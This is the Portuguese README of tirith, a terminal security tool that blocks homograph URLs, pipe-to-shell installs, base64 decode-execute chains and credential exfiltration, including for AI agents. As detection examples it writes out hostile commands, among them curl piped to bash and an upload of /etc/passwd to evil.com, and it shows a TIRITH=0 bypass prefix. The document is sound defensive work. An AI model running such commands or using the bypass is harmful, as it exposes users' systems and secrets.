
tirith v0.4.2
Segurança de terminal para desenvolvedores e agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, injeção ANSI, payloads ofuscados, exfiltração de dados e habilidades/configurações maliciosas de IA antes que executem.
tirith
Seu navegador detectaria isso. Seu terminal não.
Website | Docs | SKILL.md | Changelog | Releases
Projeto open-source independente, com hospedagem apoiada pelo Vercel Open Source Program (Spring 2026 Cohort).
Você consegue identificar a diferença?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
Você não consegue. Seu terminal também não. Ambos os caracteres і são cirílicos (U+0456), não o i latino. A segunda URL resolve para o servidor de um atacante. O script é executado antes que você perceba.
Os navegadores resolveram isso há anos. Os terminais ainda renderizam Unicode, sequências de escape ANSI e caracteres invisíveis sem questionar. Agentes de IA executam comandos de shell e instalam pacotes sem inspecionar o que há dentro.
O Tirith fica no portão. Ele intercepta comandos, conteúdo colado e arquivos escaneados em busca de URLs homográficas, payloads ofuscados, exfiltração de credenciais, skills/configs de IA maliciosos e pacotes/domínios/IPs conhecidos como maliciosos de um banco de dados de threat intelligence assinado, antes que sejam executados.
brew install tirith
Em seguida, ative no seu perfil de shell:
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
[!TIP]
eval "$(tirith init)"detecta automaticamente o seu shell atual (inspeciona o processo pai e recorre a$SHELLse necessário). A flag explícita--shellsó é necessária quando você deseja substituir a detecção.
Ou deixe o Tirith escrever o arquivo de inicialização para você, como um plano revisado que você pode desfazer:
tirith setup recommended --scope user --shell zsh --dry-run # preview
tirith setup recommended --scope user --shell zsh # apply
É tudo sobre a cobertura do shell interativo. Os comandos aceitos por esse shell são verificados enquanto o hook está carregado e saudável; o comportamento exato de bloqueio depende do shell e do modo. Execute tirith status após a instalação e atualizações: ele indica se o hook carregado neste terminal está atualizado. Execute tirith doctor --verify-shell para observar o bloqueio no próprio shell, e leia enforcement by shell antes de tratar o hook como uma fronteira de autorização. Comandos limpos permanecem silenciosos e normalmente seguem o caminho rápido.
Também disponível via npm, cargo, mise, apt/dnf e mais.
Veja funcionando
Ataque de homógrafo, bloqueado antes da execução:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
O comando nunca é executado.
Requisição HTTP simples para um endereço de LAN, alertada, não bloqueada:
$ curl http://192.168.1.20:8080/health
tirith: WARNING
[MEDIUM] raw_ip_url, URL uses raw IP address
[MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
[MEDIUM] private_network_access, Private network access: 192.168.1.20
Aviso é impresso em stderr. O comando ainda é executado. Um download canalizado para um shell
(curl ... | sh) não é um aviso: ele é bloqueado como curl_pipe_shell.
Cadeia de decodificação-execução Base64, bloqueada:
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Detecta cadeias de decodificação através de wrappers sudo/env e também de -EncodedCommand do PowerShell.
Exfiltração de credenciais, bloqueada:
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
Cobre todos os sinalizadores de upload do curl/wget, variáveis de ambiente ($AWS_SECRET_ACCESS_KEY) e substituição de comandos.
Arquivo de skill malicioso, detectado na verificação:
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Examina arquivos JS/Python em busca de payloads ofuscados, execução dinâmica de código e padrões de exfiltração de segredos.
Comandos normais, invisíveis:
$ git status
$ ls -la
$ docker compose up -d
Nada. Saída zero. Você esquece que o tirith está em execução.
O que ele detecta
245 regras de detecção em 35 categorias.